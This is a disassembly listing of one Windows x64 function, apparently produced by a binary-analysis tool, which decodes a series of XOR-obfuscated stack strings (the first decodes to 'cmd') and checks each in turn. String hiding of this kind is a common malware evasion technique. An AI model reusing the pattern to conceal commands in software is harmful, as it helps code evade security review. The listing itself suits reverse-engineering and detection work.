Function at 0x140009ac8
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rbx, rcx
lea rcx, [rbp + 0x6f]
call fcn.140008800
mov rdx, rax
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp - 0x39]
call fcn.140009644
mov ecx, 8
mov dword [rbp - 0x59], 0x712b7125
mov dword [rbp - 0x55], 0x71467122
mov edi, 0x7146
mov dword [rbp - 0x51], 0x8cc67146
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, 4
mov ecx, edi
xor cx, word [r8 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x140009b3f
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.14000900c
test eax, eax
je 0x14000a4e2
lea rcx, [rbp - 0x39]
mov dword [rbp + 0x2b], 0x3a980
call fcn.1400095a0
test al, al
je 0x14000a4e2
lea rcx, [rbp + 0x6f]
call fcn.140008258
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea r15, [0x140011400]
mov rcx, rbx
mov rdx, r15
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008938
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140007fd4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008bc0
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140007f4c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.14000839c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008d80
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008e14
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008a88
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.1400089d8
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008510
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.1400081c4
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.140008114
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
lea rcx, [rbp + 0x6f]
call fcn.1400085c0
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011700]
xor eax, eax
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x120f0518
mov r12d, 0xf
mov byte [rbp - 0x45], 0x61
lea esi, [rax + 0x15]
mov word [rbp - 0x44], ax
mov ecx, esi
mov byte [rbp - 0x42], al
mov dword [rbp - 0x41], 0x8cc67161
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, esi
mov cl, byte [r8 + rdx]
xor cl, 0x61
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140009e28
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
mov edi, SafeArrayGetElement
mov dword [rbp - 0x59], 0x12130914
mov dword [rbp - 0x55], 0x14164603
mov dword [rbp - 0x51], 0x6612080f
mov dword [rbp - 0x4d], 0x8cc67166
lea r13d, [rdi - 8]
mov ecx, r13d
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, r13d
mov cl, byte [r8 + rdx]
xor cl, 0x66
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140009e96
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x1400117e0]
mov r14d, 0x1a
mov ecx, r14d
mov dword [rbp - 0x49], 0x4710080f
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x45], 0x13061314
mov dword [rbp - 0x41], 0x6702
mov dword [rbp - 0x3d], 0x8cc67167
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, r14d
mov cl, byte [r8 + rdx]
xor cl, 0x67
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140009f0e
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r15
mov rcx, rbx
call fcn.140001990
mov r13d, 0xd
mov dword [rbp - 0x59], 0x10171d17
mov dword [rbp - 0x55], 0xa0d0901
mov dword [rbp - 0x51], 0x640b02
mov dword [rbp - 0x4d], 0x8cc67164
lea r15d, [r13 - 2]
mov ecx, r15d
lea r14d, [r13 - 3]
call fcn.1400026b0
lea r9, [rbp - 0x59]
mov rdx, rax
sub r9, rax
mov r8d, r15d
mov cl, byte [r9 + rdx]
xor cl, 0x64
mov byte [rdx], cl
inc rdx
sub r8, 1
jne 0x140009f81
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011bf0]
mov rcx, rdi
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x65131606
mov dword [rbp - 0x45], 0x8cc67165
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x65
mov byte [rdx], cl
inc rdx
sub rdi, 1
jne 0x140009fe6
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea rdi, [0x140011400]
mov rcx, rbx
mov rdx, rdi
call fcn.140001990
movdqa xmm0, xmmword [0x140011730]
xor eax, eax
mov rcx, rsi
mov word [rbp - 0x44], ax
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x42], al
mov dword [rbp - 0x49], 0x5020a06
mov byte [rbp - 0x45], 0x6b
mov dword [rbp - 0x41], 0x8cc6716b
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x6b
mov byte [rdx], cl
inc rdx
sub rsi, 1
jne 0x14000a05b
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, rdi
mov rcx, rbx
call fcn.140001990
mov rcx, r14
mov dword [rbp - 0x59], 0x481c0d06
mov dword [rbp - 0x55], 0x1a09001b
mov dword [rbp - 0x51], 0x680d
mov dword [rbp - 0x4d], 0x8cc67168
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9, r14
mov esi, 1
mov cl, byte [r8 + rdx]
xor cl, 0x68
mov byte [rdx], cl
add rdx, rsi
sub r9, rsi
jne 0x14000a0c5
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, rdi
mov rcx, rbx
call fcn.140001990
xor eax, eax
mov dword [rbp - 0x59], 0x491d0c07
mov dword [rbp - 0x55], 0x1b0c1a1c
mov byte [rbp - 0x51], 0x69
mov word [rbp - 0x50], ax
lea ecx, [rax + 9]
mov byte [rbp - 0x4e], al
mov dword [rbp - 0x4d], 0x8cc67169
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9d, 9
mov cl, byte [r8 + rdx]
xor cl, 0x69
mov byte [rdx], cl
add rdx, rsi
sub r9, rsi
jne 0x14000a132
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, rdi
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x1400116f0]
xor eax, eax
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x49], 0x6e
mov word [rbp - 0x48], ax
lea edi, [rax + 0x11]
mov byte [rbp - 0x46], al
mov ecx, edi
mov dword [rbp - 0x45], 0x8cc6716e
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x6e
mov byte [rdx], cl
add rdx, rsi
sub rdi, rsi
jne 0x14000a19a
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
mov edi, 8
mov dword [rbp - 0x59], 0x4f1b0a01
mov ecx, edi
mov dword [rbp - 0x55], 0x6f0a1c1a
mov dword [rbp - 0x51], 0x8cc6716f
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x6f
mov byte [rdx], cl
add rdx, rsi
sub rdi, rsi
jne 0x14000a1fc
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
mov rcx, r14
mov dword [rbp - 0x59], 0x4c180902
mov dword [rbp - 0x55], 0x19031e0b
mov edi, 0x19
mov dword [rbp - 0x51], 0x6c1c
mov dword [rbp - 0x4d], 0x8cc6716c
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov r9, r14
mov cl, byte [r8 + rdx]
xor cl, 0x6c
mov byte [rdx], cl
add rdx, rsi
sub r9, rsi
jne 0x14000a269
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea rdx, [0x140011400]
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011720]
mov rcx, r12
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x8cc6716d
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x6d
mov byte [rdx], cl
add rdx, rsi
sub r12, rsi
jne 0x14000a2c6
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea r12, [0x140011400]
mov rcx, rbx
mov rdx, r12
call fcn.140001990
mov rcx, r15
mov dword [rbp - 0x59], 0x7161d
mov dword [rbp - 0x55], 0x53071207
mov dword [rbp - 0x51], 0x73015e
mov dword [rbp - 0x4d], 0x8cc67173
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x73
mov byte [rdx], cl
add rdx, rsi
sub r15, rsi
jne 0x14000a32e
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r12
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x1400116b0]
mov rcx, r13
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x8cc67170
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x70
mov byte [rdx], cl
add rdx, rsi
sub r13, rsi
jne 0x14000a387
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r12
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x140011c10]
xor eax, eax
mov rcx, rdi
mov word [rbp - 0x40], ax
movdqu xmmword [rbp - 0x59], xmm0
mov byte [rbp - 0x3e], al
mov dword [rbp - 0x49], 0x511e175e
mov dword [rbp - 0x45], 0x2522383d
mov byte [rbp - 0x41], 0x71
mov dword [rbp - 0x3d], 0x8cc67171
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x71
mov byte [rdx], cl
add rdx, rsi
sub rdi, rsi
jne 0x14000a3fb
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r12
mov rcx, rbx
call fcn.140001990
mov rcx, r14
mov dword [rbp - 0x59], 0x56021318
mov dword [rbp - 0x55], 0x4170205
mov dword [rbp - 0x51], 0x7602
mov dword [rbp - 0x4d], 0x8cc67176
call fcn.1400026b0
lea r9, [rbp - 0x59]
mov r8, rax
sub r9, rax
mov cl, byte [r8 + r9]
xor cl, 0x76
mov byte [r8], cl
add r8, rsi
sub r14, rsi
jne 0x14000a45c
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
mov rdx, r12
mov rcx, rbx
call fcn.140001990
movdqa xmm0, xmmword [0x1400116e0]
lea edi, [r14 + 0xe]
mov ecx, edi
mov dword [rbp - 0x49], 0x8cc67177
movdqu xmmword [rbp - 0x59], xmm0
call fcn.1400026b0
lea r8, [rbp - 0x59]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x77
mov byte [rdx], cl
add rdx, rsi
sub rdi, rsi
jne 0x14000a4b5
mov r8, rax
lea rdx, [rbp - 0x39]
mov rcx, rbx
call fcn.1400097dc
test al, al
je 0x14000a4e2
lea rcx, [rbp - 0x39]
call fcn.140009478
lea rcx, [rbp - 0x39]
call fcn.140009624
lea rdx, [0x14001151c]
mov rcx, rbx
call fcn.140001990
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret